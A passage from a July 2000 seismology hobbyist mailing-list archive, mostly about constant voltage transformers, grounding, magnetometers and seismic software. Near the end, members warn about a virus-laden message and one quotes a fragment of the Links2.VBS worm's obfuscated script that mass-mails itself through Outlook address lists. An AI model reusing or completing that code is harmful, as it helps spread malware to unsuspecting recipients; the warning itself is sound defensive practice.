eventually fail causing a voltage drop. The capacitors are replaceable. Since CVTs ONLY pass a completely isolated sinewave, I have always used them as a primary protection of the AC line from lightning. They always work, except in one case when the lightning arced thruout the case to the secondary line. I have had one at a shared tower facility where lightning has frequently smoked the varistor-based line protection of the other equipment, while the seismic station and transmitter were never harmed. They are an expensive ($350 for 250 watts) but permanent solution for protecting AC loads. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Obsolete I.C. needed From: "Al Allworth" allworth@.............. Date: Wed, 12 Jul 2000 13:10:47 -0700 Hi All, Do any of you know where one could find a Motorola or equivalent MC3420 or MC3520? I know there are some suppliers of obsolete I.C.s but have lost access to the sources I used before retiring. I need one for a power supply. Thanks, Al _______________________________ Al Allworth W7PXX On the Beautiful Southern Oregon Coast ________________________________ ----- Original Message ----- From: "S-T Morrissey" To: Sent: Wednesday, July 12, 2000 12:44 PM Subject: constant voltage transformers > > Regarding constant voltage transformers, or CVTs. > > I have been using them for over 30 years, and have always found > a sinewave output. There are some better designs that use a > larger high voltage AC capacitor for the resonant circuit that > are "harmonic neutralized" and regulate to 1% over a +,- 20% > input change. These cost about 10% to 20% more than the 3% regulation > "line conditioners", which DO put out a sinewave, but with higher > distortion. The very nature of CVT design is that it is a true > transformer (total isolation of the input from the output), that > only passes a sinewave to the output winding at the resonant > frequency of the high voltage secondary/capacitor circuit. > > If you play with one with a variac (variable transformer) input, > you can see this: as you increase the input, there is little > output until there is enough voltage (about 45 volts AC) to resonant > the high voltage secondary, at which point the output jumps to within > a few percent of the regulated level. As you drop the input voltage, > to as low as 20 VAC, the output remains near 110V as long as the > transformer resonants (test with a moderate load, like a lightbulb). > > SOLA is a major manufacturer, and they claim that their standard > conditioners (MCR series) will output a sinewave with 3% THD (total > harmonic distortion) with a square wave input. I use a 120 watt CVT > with my large frequency controlled converter in my field van to > convert the square wave to a sine wave for electronic loads. This > is similar to common marine use for AC operated electronics. > > Since CVTs are passive, they last a long time; the main problem being > the high operating temperature of the transformer core that eventually > cooks the insulation, and the high voltage (660 volt) AC capacitors that > eventually fail causing a voltage drop. The capacitors are replaceable. > > Since CVTs ONLY pass a completely isolated sinewave, I have always > used them as a primary protection of the AC line from lightning. They > always work, except in one case when the lightning arced thruout the > case to the secondary line. I have had one at a shared tower facility > where lightning has frequently smoked the varistor-based line protection > of the other equipment, while the seismic station and transmitter were > never harmed. They are an expensive ($350 for 250 watts) but permanent > solution for protecting AC loads. > > Regards, > Sean-Thomas > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Obsolete I.C. needed From: "Raul J. Alvarez" ralvarez@........ Date: Wed, 12 Jul 2000 15:11:05 -0600 Hi Al, I show some (20) in my personal stock. I will have to search as I have never resorted them after my move to Colorado. I will look in the next few days and get back to you. Raul Alvarez Al Allworth wrote: > Hi All, > > Do any of you know where one could find a Motorola or equivalent MC3420 > or MC3520? I know there are some suppliers of obsolete I.C.s but have > lost access to the sources I used before retiring. I need one for a power > supply. > > Thanks, Al > _______________________________ > > Al Allworth W7PXX > > On the Beautiful Southern Oregon Coast > > ________________________________ > ----- Original Message ----- > From: "S-T Morrissey" > To: > Sent: Wednesday, July 12, 2000 12:44 PM > Subject: constant voltage transformers > > > > > Regarding constant voltage transformers, or CVTs. > > > > I have been using them for over 30 years, and have always found > > a sinewave output. There are some better designs that use a > > larger high voltage AC capacitor for the resonant circuit that > > are "harmonic neutralized" and regulate to 1% over a +,- 20% > > input change. These cost about 10% to 20% more than the 3% regulation > > "line conditioners", which DO put out a sinewave, but with higher > > distortion. The very nature of CVT design is that it is a true > > transformer (total isolation of the input from the output), that > > only passes a sinewave to the output winding at the resonant > > frequency of the high voltage secondary/capacitor circuit. > > > > If you play with one with a variac (variable transformer) input, > > you can see this: as you increase the input, there is little > > output until there is enough voltage (about 45 volts AC) to resonant > > the high voltage secondary, at which point the output jumps to within > > a few percent of the regulated level. As you drop the input voltage, > > to as low as 20 VAC, the output remains near 110V as long as the > > transformer resonants (test with a moderate load, like a lightbulb). > > > > SOLA is a major manufacturer, and they claim that their standard > > conditioners (MCR series) will output a sinewave with 3% THD (total > > harmonic distortion) with a square wave input. I use a 120 watt CVT > > with my large frequency controlled converter in my field van to > > convert the square wave to a sine wave for electronic loads. This > > is similar to common marine use for AC operated electronics. > > > > Since CVTs are passive, they last a long time; the main problem being > > the high operating temperature of the transformer core that eventually > > cooks the insulation, and the high voltage (660 volt) AC capacitors that > > eventually fail causing a voltage drop. The capacitors are replaceable. > > > > Since CVTs ONLY pass a completely isolated sinewave, I have always > > used them as a primary protection of the AC line from lightning. They > > always work, except in one case when the lightning arced thruout the > > case to the secondary line. I have had one at a shared tower facility > > where lightning has frequently smoked the varistor-based line protection > > of the other equipment, while the seismic station and transmitter were > > never harmed. They are an expensive ($350 for 250 watts) but permanent > > solution for protecting AC loads. > > > > Regards, > > Sean-Thomas > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Your web site. From: The Lahrs johnjan@........ Date: Wed, 12 Jul 2000 22:15:41 -0600 Hi Cap, I put the McWilliams Magnetometer article on this web page: http://lahr.org/john-jan/earth_science/magnetometer/ Let me know if you seen any problems with it. Which issue of the Solar Bulletin was it in? Cheers, John At 11:02 AM 7/11/00 , you wrote: >Hi John, > I checked your excellent web site to see if I could refer someone to it >who is interested in building a McWilliams Magnetometer. As it is now I have >to send them photocopies of Jim Mandaville's article in the Solar Bulletin by >snail mail. Besides his magnetometer Jim also has a "whistler Receiver" that >is simple to build and would be very suitable to build as a science fair >project. Whistlers are a natural phenomenon that originate in the >magnetosphere where the magnetic storms occur so both can be projects to >learn about the geophysics of the Earth's magnetosphere. We are approaching >solar maximum when whistlers and magnetic storms are both plentiful. Are you >interested in whistlers and would you like to add the whistler receiver to >your science projects? >Best regards, >Cap * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: constant voltage transformers From: SW6079@....... Date: Thu, 13 Jul 2000 03:57:26 EDT Tnx for the reply, Sean. I've used them in various apps too. Around here I've gotten "defective" ones cheap, replaced the caps, and saved a bundle. Can't wait to try 'em with a square wave. Later, Mike. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: AmaSeis program From: The Lahrs johnjan@........ Date: Thu, 13 Jul 2000 07:32:10 -0600 I've checked with Alan Jones and IRIS and the AmaSeis program will be made available free of charge for anyone to use. The beta version can be obtained here: http://www.geol.binghamton.edu/faculty/jones/as1.html John John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re:ground rods and noisy power supplies From: "Charles R. Patton" charles.r.patton@........ Date: Thu, 13 Jul 2000 10:36:04 -0700 I wanted to make one additional comment regarding ground rods in general. It=92s very important NOT to use multiple rods in an installation. Not only does it add ground current noise as has already been mentioned, but it is a safety issue as well. In particular if you have a lightning strike in the vicinity, the ground currents become enormous, and so the voltage drop across the ground and thereby the voltage across the ground rods can be very large, and depending on the distance between them can be thousands of volts. We=92re not talking miles here, just feet. So if your equipment has connected grounds, suddenly opposite ends of your equipment are connected to a very powerful, high voltage source which causes large currents to flow, melting cables and of course, frying the attached electronic equipment. And the big point is, not only can it fry equipment, it can electrocute you. If you used multiple ground rods, but the grounds aren=92t connected, then the problem becomes the high voltages placed on the AC isolation means, i.e., the primary of the AC line transformers suddenly have to withstand huge voltages, again with the same result, breakdown and fried equipment. Within a single installation, use only a single point ground rod, and then provide a ground strapping/connection grid that acts as a reference =93plane=94 for your system. Try to insulate th= e outlying sensors and bring their grounds back to your central system or else use total galvanic isolation which is a whole another subject in itself. A good idea on the insulated outlying systems is to provide lightning strike protection. A good example is the telephone system. They use carbon blocks separated by a thin mica sheet with holes in it or gas tubes from each line to the ground rod at the entrance to the house. These are very high impedance devices until they breakdown, at which point they can carry large discharge currents. I don=92t remember now, but I believe Sean-Thomas talked about some seismo equipment inside PVC pipe that took a lightning hit. Not a pretty description! Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re:ground rods and noisy power supplies From: "Al Allworth" allworth@.............. Date: Thu, 13 Jul 2000 11:23:54 -0700 Hello All, An interesting fact: Some areas REQUIRE multiple ground electrodes on the power system. The state of Oregon electrical codes require at least 2 ground rods spaced at least 8 feet apart. The conductor connecting the rods to the system must be continuous and must run from one rod to the other and then to the the service box. The rods must be at least 8 feet long but can be driven at an angle in shallow soil. Extra grounds for individual equipment are not covered by these requirements. _______________________________ Al Allworth On the Beautiful Southern Oregon Coast ________________________________ ----- Original Message ----- From: "Charles R. Patton" To: ; "Charles R. Patton" Sent: Thursday, July 13, 2000 10:36 AM Subject: Re:ground rods and noisy power supplies I wanted to make one additional comment regarding ground rods in general. It's very important NOT to use multiple rods in an installation. Not only does it add ground current noise as has already been mentioned, but it is a safety issue as well. In particular if you have a lightning strike in the vicinity, the ground currents become enormous, and so the voltage drop across the ground and thereby the voltage across the ground rods can be very large, and depending on the distance between them can be thousands of volts. We're not talking miles here, just feet. So if your equipment has connected grounds, suddenly opposite ends of your equipment are connected to a very powerful, high voltage source which causes large currents to flow, melting cables and of course, frying the attached electronic equipment. And the big point is, not only can it fry equipment, it can electrocute you. If you used multiple ground rods, but the grounds aren't connected, then the problem becomes the high voltages placed on the AC isolation means, i.e., the primary of the AC line transformers suddenly have to withstand huge voltages, again with the same result, breakdown and fried equipment. Within a single installation, use only a single point ground rod, and then provide a ground strapping/connection grid that acts as a reference "plane" for your system. Try to insulate the outlying sensors and bring their grounds back to your central system or else use total galvanic isolation which is a whole another subject in itself. A good idea on the insulated outlying systems is to provide lightning strike protection. A good example is the telephone system. They use carbon blocks separated by a thin mica sheet with holes in it or gas tubes from each line to the ground rod at the entrance to the house. These are very high impedance devices until they breakdown, at which point they can carry large discharge currents. I don't remember now, but I believe Sean-Thomas talked about some seismo equipment inside PVC pipe that took a lightning hit. Not a pretty description! Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: ground rods and noisy power supplies From: cplyler cplyler@............. Date: Thu, 13 Jul 2000 15:10:28 -0400 Hello All, Power substations also require multiple ground rods. I believe the issue is to make sure that when using multiple ground rods, they should all tie in to one point. Then make only one connection to your equipment to that point. Charlie Plyler Al Allworth wrote: > > Hello All, > > An interesting fact: Some areas REQUIRE multiple ground electrodes on the > power system. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re:ground rods and noisy power supplies From: ted@.......... Date: Thu, 13 Jul 2000 15:28:36 -0400 We just upgraded our home electrical service from 60 amp to 200 amp, put in new meters, new breaker box, and so on. Code now requires that the meter box be separately grounded outsided the house via its own ground wire (bare copper stranded, very heavy maybe #4?) to two six-foot copper rods in a daisy-chain arrangement. Driving these was a chore - they don't call this the Granite state for nothing. This is in addition to the normal ground to the water pipe inside the house. Could this lead to the same kind of voltage drop you mentioned? Regards, Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: ground rods and noisy power supplies From: Bob Smith bobsmith5@........ Date: Thu, 13 Jul 2000 18:16:19 -0400 My experience was similar to Ted's. I built a major addition to my home two years ago. It required a major (read - expensive) electrical upgrade replacing a 200 Amp meter base with 350 Amp system. The old "cold water pipe" ground system was cut out and replaced with two eight foot, galvanized rods driven at least three foot apart and connected to the meter box neutral bond point with #4 AWG bare copper wire. I also have another eight foot ground rod back at my amateur radio room which serves for lightning protection and noise ground but it does not connect to the electrical system neutral in accordance with local codes which permit only a single point ground to the electrical system at the entrance panel(s). Incidently, the preferred ground rod for heavy duty service around here is not copper, but galvanized steel - eight foot long by about 3/4" diameter. To drive them in the local soil which is hard, yellow clay (sometimes called 'hardpan'), about the consistency of soft sandstone) one takes a Coke bottle of water and jabs the rod into the soil(?) a few inches, fill the hole with water and keep jabbing. Bob Smith ted@.......... wrote: > > We just upgraded our home electrical service from 60 amp to 200 amp, put in > new meters, new breaker box, and so on. Code now requires that the meter > box be separately grounded outsided the house via its own ground wire (bare > copper stranded, very heavy maybe #4?) to two six-foot copper rods in a > daisy-chain arrangement. Driving these was a chore - they don't call this > the Granite state for nothing. > > This is in addition to the normal ground to the water pipe inside the > house. > > Could this lead to the same kind of voltage drop you mentioned? > > Regards, Ted Blank > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: book by bullen From: BOB BARNS roybar@........ Date: Thu, 13 Jul 2000 20:43:56 -0400 Hi gang, "Intro. to the Theory of Seismology" by Bullen is up for auction on ebay, #380647856, ends 7/19, no bids so far. Paperback. Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: ground rods and noisy power supplies From: "Charles R. Patton" charles.r.patton@........ Date: Fri, 14 Jul 2000 11:51:35 -0700 The responses re the use of multiple ground stakes daisy-chained back to a single point on the house are fine. If high current flows, it will only be between the ground stakes, not between pieces of your equipment. As another bit of information, on USA systems, there is a ground from the neutral on the transformer at the power pole. So there could be large voltages and currents in the neutral leg and thereby superimposed on the AC line. The protection here is the circuit breaker panel at the entrance to the house and the ground rod at the house. I have not looked at the current NEC codes, but the use of multiple ground stakes in a daisy-chain makes sense. A big problem with ground stakes is keeping their resistance low. Techniques have included pouring salt solutions such as copper sulphate (bad for the environment), sodium or calcium chloride (still not much better for the environment in the concentrations needed) in the ground with them or even making special rods which weep salt solutions. The use of the plumbing as a ground was a two edged sword. The connection was good because it typically has many feet buried in the ground, but the galvanic corrosion can eat up the pipes and if the connection was bad and there was a ground fault, the plumbing goes =93hot=94 with possible consequences of electrocution. Like so many things, at first glance it seems simple, but there can be many ramifications as you dig into it. One way to kind of look at it is the Faraday cage. If the ground system you make is a grid or cage like thing, then even it the ground rod goes up in voltage, you are enclosed in a zero volt environment. This falls to pieces when a wire extends through that cage to the outside world. Then you bring in whatever is outside. Hence my discussion of carbon blocks or gas protector on sensor lines to your remote seismometer equipment. Complete isolation is becoming more feasible today. There are low current op-amps and serial output, high accuracy A/D=92s that can= be easily connected to fiber optic transmission links. So the power requirements on the sensor side can be made quite low and supplied by a fiber optic link. Combine that with a fiber optic link information return, and your sensor combination can be made immune to millions of volts -- pretty safe, even from lightning strikes. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Foils for hinges From: ChrisAtUpw@....... Date: Fri, 14 Jul 2000 18:51:21 EDT I note that K & S Metals have added 2 thou Stainless Foil to their collection of brass and other foils. See http://www.ksmetals.com/ then click on foils. Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: AS1 Performance From: The Lahrs johnjan@........ Date: Sun, 16 Jul 2000 18:36:59 -0600 Hi Bob, I've finished putting the AGU talk on the AS1 onto my web site: http://lahr.org/john-jan/psn/as1/as1_resp/ Thanks for providing the figures. John At 10:36 AM 7/14/00 , you wrote: >John - I am trying to reconstruct the .ps files now. I have some of them, >others I may have to re-run. I'll try to get these done today, but if I >don't, what's your deadline? > > Bob Hutt > >At 07:11 AM 7/14/00 , you wrote: >>Hi Bob, >> >>I've decided to put the entire performance article that you wrote on the >>web, as >>it's a good example for the PSN folks of how a system is analyzed. The >>text is here: >>http://lahr.org/john-jan/psn/as1/as1_resp/index.html >>now, and I would like to take you up on digital versions of the >>figures. Are they >>in PostScript format? >> >>Thanks! >>John >>John C. Lahr >>lahr@........ (work) >>john@........ (home) >> >>Central Region Geologic Hazards Team >>U.S. Geological Survey >>PO Box 25046 >>Denver, CO 80225 John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Web Ring From: The Lahrs johnjan@........ Date: Sun, 16 Jul 2000 18:42:34 -0600 I'm surprised more people haven't joined the PSN web ring! To join, just fill in your URL here: http://dominicapsn.freeyellow.com/joinring.html This could be a very convenient way for people to find all of the various PSN web sites. Cheers, John * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Another geomagnetic storm from the sun From: meredith lamb mlamb1@.......... Date: Mon, 17 Jul 2000 10:27:22 -0700 Hi all, Noted another couple spikes from a geomagnetic storm on the 13th of July 2000. This is from my diamagnetic "seismo", (which I should probably call a quasi-seismo/magnetometer). It sometimes detects seismic waves, and solar flare disturbances, but seemingly only if its NOT shielded (?). See, the bottom of: http://www.geocities.com/meredithlamb/page054.html Included is a imported (but hard to read) GIF image of the geomagnetic USGS.gov image of the BOU (Boulder, Colorado) for that day. Simply a fun detail note. Meredith Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: ELF precursor From: meredith lamb mlamb1@.......... Date: Tue, 18 Jul 2000 11:03:19 -0700 Arie Verveer wrote: > Hi, In the Larry's "Earthquake data files"; 000706a.au4 is an event > file that has another tantalizing trace of the background ELF/ULF data. > It may be the quake from the Aleutians? Interesting thing to contemplate. > I probable won't post any more files of this nature (ELF) on this site. > Unless its very big. Charlie Plyler site at http://www.elfrad.com is the > place for ELF/ULF seismic precursor info. > > Arie. > > -------------------------------------------------------------------- > The following is from the United States Geological Survey, National > Earthquake Information Centre: preliminary hypocenter for > earthquake of 2000 jul 06, NEAR ISLANDS, ALEUTIAN ISLANDS, about 125 > miles (200 km) W of Attu, Alaska: latitude 53.2 degrees north > longitude 170.2 degrees east origin time 06 15 27.5 utc depth > normal, magnitude 5.5 mb. > .com/maillist.html for more information. Hi Arie and everyone, Actually, EMF precursors are known to exist and this aspect I find very interesting to read, see any graphs on. The problem seems to be the reliablity of continiously being able to do so repeatably....but this be just the earth natures with location and size of the quake area it affects, and also the individual sensor location. For myself, anything unusual, is more attention getting than the normal understood items.....so.....keep it up, its nice to see. Thanks, Meredith Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: The McWilliams Magnetometer and notes & ?'s From: meredith lamb mlamb1@.......... Date: Tue, 18 Jul 2000 11:27:17 -0700 The Lahrs wrote: > Hi Cap, > > I put the McWilliams Magnetometer article on this web page: > http://lahr.org/john-jan/earth_science/magnetometer/ > Let me know if you seen any problems with it. Which issue of the > Solar Bulletin was it in? > > Cheers, > John > > At 11:02 AM 7/11/00 , you wrote: > >Hi John, > > I checked your excellent web site to see if I could refer someone to it > >who is interested in building a McWilliams Magnetometer. As it is now I have > >to send them photocopies of Jim Mandaville's article in the Solar Bulletin by > >snail mail. Besides his magnetometer Jim also has a "whistler Receiver" that > >is simple to build and would be very suitable to build as a science fair > >project. Whistlers are a natural phenomenon that originate in the > >magnetosphere where the magnetic storms occur so both can be projects to > >learn about the geophysics of the Earth's magnetosphere. We are approaching > >solar maximum when whistlers and magnetic storms are both plentiful. Are you > >interested in whistlers and would you like to add the whistler receiver to > >your science projects? > >Best regards, > >Cap > Hi all, I note that the Forcefield/Wondermagnet web site has a relatively big (6" length, 1" width by 1/2" thick) ceramic (ferrite) magnet for sale for U.S. $5.50 each. 800 gauss. The flat surface maybe easier to work with than a round rod. Whether or not they are adequate for this application I don't know. I'd question whether a series of neodymium magnets could be better or worse than a item like this in comparison trials. One might even add on a neo or two on the ends of this, and see if it helps the sensitivity aspect? See: http://www.wondermagnet.com/dev/magnet26.html Meredtih Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: The McWilliams Magnetometer and notes & ?'s From: CapAAVSO@....... Date: Tue, 18 Jul 2000 18:54:20 EDT In a message dated 7/18/00 1:36:18 PM Eastern Daylight Time, mlamb1@.......... writes: << I note that the Forcefield/Wondermagnet web site has a relatively big (6" length, 1" width by 1/2" thick) ceramic (ferrite) magnet for sale for U.S. $5.50 each. 800 gauss. The flat surface maybe easier to work with than a round rod. Whether or not they are adequate for this application I don't know. I'd question whether a series of neodymium magnets could be better or worse than a item like this in comparison trials. One might even add on a neo or two on the ends of this, and see if it helps the sensitivity aspect? See: http://www.wondermagnet.com/dev/magnet26.html Meredtih Lamb >> Hi Meredith, I now realize, thanks to Chris Chapman, that using the Neodymium magnets from Wondermagnet was a mistake. Their temperature coefficient is very unfavorable compared to the Alnico magnets from Edmund Scientific that we have been using for many years to build McWilliams torsion balanced magnetometers. I am switching back to Alnico magnets which, although weaker, nevertheless provide adequate sensitivity. There was a very nice magnetic storm on 8 June that was very well recorded with homemade torsion balance magnetometers. The June Solar Bulletin shows how well these recordings compare to nearby US Geological Survey Magnetic Observatory magnetograms made with a professional fluxgate magnetometer. The June Solar Bulletin also has complete details on how to build your own homemade fluxgate magnetometer for about US$ 40. There is a schematic and parts list and four pages of interesting information on how the fluxgate works. If anyone would like to have a free copy of this Bulletin please send me a self addressed stamped envelope (no stamps if outside USA) at the address below. Best regards, Casper H. Hossfield PO Box 23 New Milford, NY 10959 USA __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Check this From: "Ahmet Ercan" yeraltiaramaclk@............... Date: Wed, 19 Jul 2000 09:11:03 +0300 Have fun with these links. Bye. Subject: Re: Check this From: Stephen Mortensen mortskm@....... Date: Tue, 18 Jul 2000 23:49:05 -0700 Ahmet Ercan wrote: > Have fun with these links. > Bye. My Nortons anti virus just alerted me that this email had a trojan horse virus called Links2.VBS!!!!!!! DON'T OPEN IT!!!!!!!! Stephen Mortensen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: "Mark Robinson" other@............... Date: Wed, 19 Jul 2000 20:38:17 +1200 Hello, Oi'm a virus from Ireland. Please forward this email to all the contacts in your personal address book, then delete all the files on your hard disk. Dat's grand Tanks very much! ----- Original Message ----- From: "Ahmet Ercan" To: Sent: Wednesday, 19 July 2000 18:11 Subject: Check this > Have fun with these links. > Bye. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: Karl Kolle kwk@.......... Date: Wed, 19 Jul 2000 10:06:20 +0100 (BST) Sorry ... but ??????? Who is 'Mark Robinson' ???????? Regards/Saludos/mit freundlichen Gruessen Karl ------------------------------------------------------------------ Karl-Wilhelm Kolle E-Mail: kwk@.......... Isaac Newton Group of Telescopes Tel : +34-22-405639 Royal Greenwich Observatory : +34-22-405655 Apartado de Correos 321 Fax : +34-22-405646 38780 Santa Cruz de La Palma _______ Isla San Miguel de La Palma/Canarias / \ Spain ______/ O \ / \ \ \_/ \ ..... and \ \ save \____ the \ Rottweilers !!! \ ------------------------------------------------------------------ On Wed, 19 Jul 2000, Mark Robinson wrote: > Hello, Oi'm a virus from Ireland. > Please forward this email to all the contacts in > your personal address book, > then delete all the files on your hard disk. > > Dat's grand > > Tanks very much! > > > ----- Original Message ----- > From: "Ahmet Ercan" > To: > Sent: Wednesday, 19 July 2000 18:11 > Subject: Check this > > > > Have fun with these links. > > Bye. > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Virus Warning From: "Mark Robinson" other@............... Date: Wed, 19 Jul 2000 22:27:21 +1200 I am Mark Robinson. Sorry - I intended to send that message to the unfortunate individual who sent that virus to the list, rather than to the whole list. Just a note : If you opened the attachment to Ahmet Ercan's message and you are running windows you may have rather a problem. My apologies Mark ----- Original Message ----- From: "Karl Kolle" To: Sent: Wednesday, 19 July 2000 21:06 Subject: Re: Check this > > > Sorry ... but > > ??????? Who is 'Mark Robinson' ???????? > > > Regards/Saludos/mit freundlichen Gruessen > > Karl > > ------------------------------------------------------------------ > Karl-Wilhelm Kolle E-Mail: kwk@.......... > Isaac Newton Group of Telescopes Tel : +34-22-405639 > Royal Greenwich Observatory : +34-22-405655 > Apartado de Correos 321 Fax : +34-22-405646 > 38780 Santa Cruz de La Palma _______ > Isla San Miguel de La Palma/Canarias / \ > Spain ______/ O \ / \ > \ \_/ \ > ..... and \ \ > save \____ > the \ > Rottweilers !!! \ > ------------------------------------------------------------------ > > > On Wed, 19 Jul 2000, Mark Robinson wrote: > > > Hello, Oi'm a virus from Ireland. > > Please forward this email to all the contacts in > > your personal address book, > > then delete all the files on your hard disk. > > > > Dat's grand > > > > Tanks very much! > > > > > > ----- Original Message ----- > > From: "Ahmet Ercan" > > To: > > Sent: Wednesday, 19 July 2000 18:11 > > Subject: Check this > > > > > > > Have fun with these links. > > > Bye. > > > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Virus Warning From: Phil Schmidt pgschmidt@............... Date: Wed, 19 Jul 2000 20:30:33 +0900 Dear All Although i thank mark for making his mistake known I was lucky my virus scanner detected the virus the minute it made it to my hard drive and deleted it. Can't be to carefull. Philip Schmidt Australia At 10:27 PM 7/19/00 +1200, you wrote: >I am Mark Robinson. > >Sorry - I intended to send that message to the unfortunate individual who >sent that virus to the list, rather than to the whole list. > >Just a note : If you opened the attachment to Ahmet Ercan's message and you >are running windows you may have rather a problem. > > >My apologies >Mark > >----- Original Message ----- >From: "Karl Kolle" >To: >Sent: Wednesday, 19 July 2000 21:06 >Subject: Re: Check this > > >> >> >> Sorry ... but >> >> ??????? Who is 'Mark Robinson' ???????? >> >> >> Regards/Saludos/mit freundlichen Gruessen >> >> Karl >> >> ------------------------------------------------------------------ >> Karl-Wilhelm Kolle E-Mail: kwk@.......... >> Isaac Newton Group of Telescopes Tel : +34-22-405639 >> Royal Greenwich Observatory : +34-22-405655 >> Apartado de Correos 321 Fax : +34-22-405646 >> 38780 Santa Cruz de La Palma _______ >> Isla San Miguel de La Palma/Canarias / \ >> Spain ______/ O \ / \ >> \ \_/ \ >> ..... and \ \ >> save \____ >> the \ >> Rottweilers !!! \ >> ------------------------------------------------------------------ >> >> >> On Wed, 19 Jul 2000, Mark Robinson wrote: >> >> > Hello, Oi'm a virus from Ireland. >> > Please forward this email to all the contacts in >> > your personal address book, >> > then delete all the files on your hard disk. >> > >> > Dat's grand >> > >> > Tanks very much! >> > >> > >> > ----- Original Message ----- >> > From: "Ahmet Ercan" >> > To: >> > Sent: Wednesday, 19 July 2000 18:11 >> > Subject: Check this >> > >> > >> > > Have fun with these links. >> > > Bye. >> > >> > __________________________________________________________ >> > >> > Public Seismic Network Mailing List (PSN-L) >> > >> > To leave this list email PSN-L-REQUEST@.............. with >> > the body of the message (first line only): unsubscribe >> > See http://www.seismicnet.com/maillist.html for more information. >> > >> >> __________________________________________________________ >> >> Public Seismic Network Mailing List (PSN-L) >> >> To leave this list email PSN-L-REQUEST@.............. with >> the body of the message (first line only): unsubscribe >> See http://www.seismicnet.com/maillist.html for more information. > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Virus From: cplyler cplyler@............. Date: Wed, 19 Jul 2000 07:47:48 -0400 The email from: Ahmet Ercan has a virus attachment, do not open. Charlie Plyler Elfrad Group __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this :NOT! From: The Lahrs johnjan@........ Date: Wed, 19 Jul 2000 06:11:56 -0600 The file links2.vps looks like an evil script to me! It includes some code that mentions AddressLists. Running this code, which will happen if you click on the attachment from a MS Windows system, would allow this code to do whatever it wants with your computer system. DON'T RUN THIS CODE!!!! Part of the Visual Basic Script: ...... Set A10 = CreateObject(B("Ntumnnj/@qqmhb`uhno")) Set A11 = A10.GetNameSpace(B("L@QH")) For Each A12 In A11.AddressLists Set A13 = A10.CreateItem(0) For A14 = 1 To A12.AddressEntries.Count Set A15 = A12.AddressEntries(A14) If A14 = 1 Then A13.BCC = A15.Address Else ..... At 12:11 AM 7/19/00 , you wrote: >Have fun with these links. >Bye. * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: macsmith macsmith@......... Date: Wed, 19 Jul 2000 06:20:49 -1000 The source of this virus, superonline.com, is located in 